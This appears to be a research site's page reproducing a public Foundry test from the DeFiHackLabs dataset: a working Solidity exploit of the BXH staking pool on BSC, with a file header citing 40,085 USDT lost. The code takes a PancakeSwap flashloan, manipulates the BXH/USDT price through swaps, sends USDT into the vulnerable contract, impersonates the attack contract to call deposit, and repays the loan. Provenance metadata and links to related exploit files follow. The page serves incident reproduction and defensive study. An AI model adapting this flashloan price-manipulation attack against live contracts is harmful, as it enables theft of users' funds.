Public reproduction file
src/test/2022-09/BXH_exp.sol
Public reproduction file for dataset entry BXH.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// Total Lost : 40085 USDT8// Attacker : 0x81c63d821b7cdf70c61009a81fef8db5949ac0c99// Attack Contract : 0x4e77df7b9cdcecec4115e59546f3eacba095a89f10// Vulnerable Contract : https://bscscan.com/address/0x27539b1dee647b38e1b987c41c5336b1a8dce66311// Attack Tx 0xa13c8c7a0c97093dba3096c88044273c29cebeee109e23622cd412dcca8f50f413CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);14IERC20 constant BXH = IERC20(0x6D1B7b59e3fab85B7d3a3d86e505Dd8e349EA7F3);16contract Attacker is Test {17 IERC20 constant vUSDT = IERC20(0x19195aC5F36F8C75Da129Afca8f92009E292B84a);18 IERC20 constant usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);19 IWBNB constant wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));20 IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));21 IPancakeRouter constant bxhRouter = IPancakeRouter(payable(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01));23 IPancakePair constant usdtwbnbpair = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); // wbnb/usdt Pair24 IPancakePair constant bxhusdtpair = IPancakePair(0x919964B7f12A742E3D33176D7aF9094EA4152e6f); // bxh/usdt Pair26 TokenStakingPoolDelegate constant bxhtokenstaking =27 TokenStakingPoolDelegate(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663);29 function setUp() public {30 cheat.createSelectFork("bsc", 21_727_289);31 cheat.label(address(BXH), "BXH");32 cheat.label(address(usdt), "USDT");33 cheat.label(address(wbnb), "WBNB");34 cheat.label(address(pancakeRouter), "PancakeRouter");35 cheat.label(address(usdtwbnbpair), "usdt/wbnb Pair");36 cheat.label(address(bxhusdtpair), "bxh/usdt Pair");37 cheat.label(address(bxhRouter), "BXH Router");38 }40 function testExploit() public {41 // Before attack need deposit first43 // cheat.rollFork(21665464);44 // cheat.prank(0x81C63d821b7CdF70C61009A81FeF8Db5949AC0C9);46 // //emit log_named_decimal_uint("[Start] VUSDT Balance Of 0x54f611135A9b88bbE23a8CF6C1310c59321F2717:", vUSDT.balanceOf(address(0x54f611135A9b88bbE23a8CF6C1310c59321F2717)), 18);47 // vUSDT.transfer(address(this), 5582000000000000000000);48 // emit log_named_decimal_uint("[Start] contract VUSDT Balance is:", vUSDT.balanceOf(address(this)), 18);50 // vUSDT.approve(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663, type(uint256).max);52 // bxhtokenstaking.deposit(0, vUSDT.balanceOf(address(this)));53 // emit log_named_decimal_uint("[Start] contract Despoit VUSDT ", vUSDT.balanceOf(address(this)), 18);55 //cheat.rollFork(21727289);57 emit log_named_decimal_uint(58 "[Start] BXH-USDT Pair USDT Balance is :",59 usdt.balanceOf(address(0x919964B7f12A742E3D33176D7aF9094EA4152e6f)),60 1861 );62 usdtwbnbpair.swap(3_178_800_000_000_000_000_000_000, 0, address(this), "0x");64 emit log_named_decimal_uint("[Over] Hacker USDT Balance is :", usdt.balanceOf(address(this)), 18);65 }67 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {68 console.log("[Flashloan] received");69 //approve bxh router for usdt70 usdt.approve(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01, type(uint256).max);72 address[] memory path = new address[](2);73 path[0] = address(0x55d398326f99059fF775485246999027B3197955);74 path[1] = address(0x6D1B7b59e3fab85B7d3a3d86e505Dd8e349EA7F3);76 bxhRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(77 usdt.balanceOf(address(this)) - 805_614_870_582_412_124_618, 1, path, address(this), block.timestamp78 );79 emit log_named_decimal_uint("[Flashloan] now Hacker BXH balance is :", BXH.balanceOf(address(this)), 18);81 usdt.transfer(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663, 805_614_870_582_412_124_618);83 emit log_named_decimal_uint(84 "[Flashloan] now bxh contract USDT balance is :",85 usdt.balanceOf(address(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663)),86 1887 );89 cheat.startPrank(0x4e77DF7b9cDcECeC4115e59546F3EAcBA095a89f);90 bxhtokenstaking.deposit(0, 0);91 usdt.transfer(address(this), usdt.balanceOf(address(0x4e77DF7b9cDcECeC4115e59546F3EAcBA095a89f)));92 cheat.stopPrank();94 emit log_named_decimal_uint("[Flashloan] Hacker USDT Balance is :", usdt.balanceOf(address(this)), 18);95 emit log_named_decimal_uint(96 "[Flashloan] bxh contract USDT Balance is :",97 usdt.balanceOf(address(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663)),98 1899 );101 BXH.approve(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01, type(uint256).max);103 address[] memory bxh_usdtpath = new address[](2);104 bxh_usdtpath[0] = address(0x6D1B7b59e3fab85B7d3a3d86e505Dd8e349EA7F3);105 bxh_usdtpath[1] = address(0x55d398326f99059fF775485246999027B3197955);107 bxhRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(108 BXH.balanceOf(address(this)), 1, bxh_usdtpath, address(this), block.timestamp109 );111 emit log_named_decimal_uint("[Flashloan] Hacker USDT Balance is :", usdt.balanceOf(address(this)), 18);113 uint256 swapfee = amount0 * 26 / 10_000;115 usdt.transfer(address(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE), amount0 + swapfee);116 }118 receive() external payable {}119}121interface TokenStakingPoolDelegate {122 event Deposit(address indexed user, uint256 indexed pid, uint256 amount);123 event DepositDelegate(address indexed user, address toUser, uint256 indexed pid, uint256 amount);124 event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);125 event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);126 event PoolAdded(127 uint256 _pid,128 uint256 _allocPoint,129 address _lpToken,130 bool _enableBonus,131 address _bonusToken,132 address _swapPairAddress,133 uint256 _lockSeconds,134 uint256 _depositMin,135 uint256 _depositMax136 );137 event PoolAllocateChanged(uint256 _pid, uint256 _allocPoint);138 event PoolBonusChanged(139 uint256 _pid, bool _enableBonus, address _bonusToken, address _swapPairAddress, uint256 _lockSeconds140 );141 event PoolDepositChanged(uint256 _pid, uint256 _depositMin, uint256 _depositMax);142 event SetDelegate(bool, address);143 event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);145 function add(146 uint256 _allocPoint,147 address _lpToken,148 bool _enableBonus,149 address _bonusToken,150 address _swapPairAddress,151 uint256 _lockSeconds,152 uint256 _depositMin,153 uint256 _depositMax,154 bool _withUpdate155 ) external;157 function adminAddress() external view returns (address);159 function batchPrepareRewardTable(160 uint256 spareCount161 ) external returns (uint256);163 function claimAllReward() external;165 function claimBylpToken(166 address _lpToken167 ) external;169 function decayPeriod() external view returns (uint256);171 function decayRatio() external view returns (uint256);173 function decayTable(174 uint256175 ) external view returns (uint256);177 function delegateCaller() external view returns (address);179 function deposit(uint256 _pid, uint256 _amount) external;181 function depositByDelegate(uint256 _pid, address _toUser, uint256 _amount) external;183 function emergencyWithdraw(184 uint256 _pid185 ) external;187 function getITokenBlockRewardV(188 uint256 _lastRewardBlock189 ) external view returns (uint256);191 function getITokenBlockRewardV(uint256 _lastRewardBlock, uint256 blocknumber) external view returns (uint256);193 function getITokenBonusAmount(uint256 _pid, uint256 _amountInToken) external view returns (uint256);195 function iToken() external view returns (address);197 function lockedToken(uint256 _pid, address _user) external view returns (uint256);199 function massUpdatePools() external;201 function openDelegate() external view returns (bool);203 function owner() external view returns (address);205 function paused() external view returns (bool);207 function pending(uint256 _pid, address _user) external view returns (uint256, uint256);209 function pendingAllReward(210 address _user211 ) external view returns (uint256, uint256);213 function pendingBylpToken(address _lpToken, address _user) external view returns (uint256, uint256);215 function phase(216 uint256 blockNumber217 ) external view returns (uint256);219 function poolInfo(220 uint256221 )222 external223 view224 returns (225 address lpToken,226 uint256 allocPoint,227 uint256 lastRewardBlock,228 uint256 accITokenPerShare,229 uint256 totalAmount,230 uint256 lockSeconds,231 bool enableBonus,232 address bonusToken,233 address swapPairAddress,234 uint256 depositMin,235 uint256 depositMax236 );238 function poolLength() external view returns (uint256);240 function renounceOwnership() external;242 function rewardV(243 uint256 blockNumber244 ) external view returns (uint256);246 function safeGetITokenBlockReward(247 uint256 _lastRewardBlock248 ) external returns (uint256);250 function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) external;252 function setAdmin(253 address _adminAddress254 ) external;256 function setBonus(257 uint256 _pid,258 bool _enableBonus,259 address _bonusToken,260 address _swapPairAddress,261 uint256 _lockSeconds262 ) external;264 function setDecayPeriod(265 uint256 _block266 ) external;268 function setDecayRatio(269 uint256 _ratio270 ) external;272 function setDelegate(bool open, address caller) external;274 function setPause(275 bool _paused276 ) external;278 function setPoolDepositLimited(uint256 _pid, uint256 _depositMin, uint256 _depositMax) external;280 function setTokenPerBlock(281 uint256 _newPerBlock282 ) external;284 function startBlock() external view returns (uint256);286 function tokenPerBlock() external view returns (uint256);288 function totalAllocPoint() external view returns (uint256);290 function transferOwnership(291 address newOwner292 ) external;294 function updatePool(295 uint256 _pid296 ) external;298 function userDepositInfo(uint256, address, uint256) external view returns (uint256 orderTime, uint256 amount);300 function userInfo(301 uint256,302 address303 ) external view returns (uint256 amount, uint256 rewardDebt, uint256 rewardReceived, uint256 lastReceived);305 function withdraw(uint256 _pid, uint256 _amount) external returns (uint256);307 function withdrawBylpToken(address _lpToken, uint256 _amount) external;309 function withdrawEmergency(address tokenaddress, address to) external;311 function withdrawEmergencyNative(address to, uint256 amount) external;312}Analysis
Dataset entry
Public Foundry test for “BXH” (2022-09-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-09/BadGuysbyRPF_exp.solSame month in the dataset · 63 lines
- src/test/2022-09/DPC_exp.solSame month in the dataset · 102 lines
- src/test/2022-09/MEVbadc0de_exp.solSame month in the dataset · 186 lines
- src/test/2022-09/BNB48MEVBot_exp.solSame month in the dataset · 68 lines
- src/test/2022-09/NewFreeDAO_exp.solSame month in the dataset · 573 lines
- src/test/2022-09/NXUSD_exp.solSame month in the dataset · 155 lines
- src/test/2022-09/RADT_exp.solSame month in the dataset · 67 lines
- src/test/2022-09/ROI_exp.solSame month in the dataset · 297 lines
- src/test/2022-09/Shadowfi_exp.solSame month in the dataset · 61 lines
- src/test/2022-09/THB_exp.solSame month in the dataset · 91 lines
- src/test/2022-09/Yyds_exp.solSame month in the dataset · 61 lines
- src/test/2022-09/ZoomproFinance_exp.solSame month in the dataset · 100 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x81c63d821b7cdf70c61009a81fef8db5949ac0c9
- Attack Contract
0x4e77df7b9cdcecec4115e59546f3eacba095a89f
- Vulnerable Contract
0x27539b1dee647b38e1b987c41c5336b1a8dce663
- Attack Tx
0xa13c8c7a0c97093dba3096c88044273c29cebeee109e23622cd412dcca8f50f4
File record
- Name
- BXH
- Path
- src/test/2022-09/BXH_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 23d0248dcf04e6af40e59d146b7bb8ed3cb13b64
- Language
- Solidity
- Size
- 313 lines
- Date
- 2022-09-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-09/BXH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 23d0248dcf04e6af40e59d146b7bb8ed3cb13b64, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.